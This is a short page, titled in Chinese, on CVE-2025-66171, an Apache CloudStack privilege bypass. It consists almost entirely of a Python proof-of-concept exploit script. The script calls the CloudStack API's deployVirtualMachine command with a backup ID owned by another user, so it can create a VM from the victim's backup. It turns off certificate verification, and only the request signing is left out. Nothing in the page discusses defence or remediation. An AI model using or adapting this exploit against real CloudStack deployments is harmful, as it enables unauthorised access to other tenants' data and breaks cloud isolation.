CVE-2025-66171 Apache CloudStack权限绕过漏洞

import requests # Exploit Title: Apache CloudStack Backup Plugin Privilege Escalation PoC # Date: 2025-05-08 # Vulnerable Version: 4.21.0.0, 4.22.0.0 TARGET_URL = "https://<cloudstack-ip>:<port>/client/api" API_KEY = "<attacker_api_key>" SECRET_KEY = "<attacker_secret_key>" # The victim's backup ID that the attacker wants to use VICTIM_BACKUP_ID = "<victim_backup_id>" def create_vm_from_stolen_backup(): """ Exploits the improper access logic to create a VM using another user's backup. """ payload = { "command": "deployVirtualMachine", "apiKey": API_KEY, "response": "json", "serviceofferingid": "<small_service_offering_id>", "zoneid": "<zone_id>", # Vulnerable parameter: specifying a backup ID owned by another user "backupid": VICTIM_BACKUP_ID } # Sign request logic omitted for brevity (standard CloudStack API signing) # signature = calculate_signature(payload, SECRET_KEY) # payload["signature"] = signature try: response = requests.get(TARGET_URL, params=payload, verify=False) if response.status_code == 200 and "virtualmachine" in response.text: print("[+] Exploit successful! VM created using victim's backup.") print(response.json()) else: print("[-] Exploit failed or invalid response.") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": create_vm_from_stolen_backup()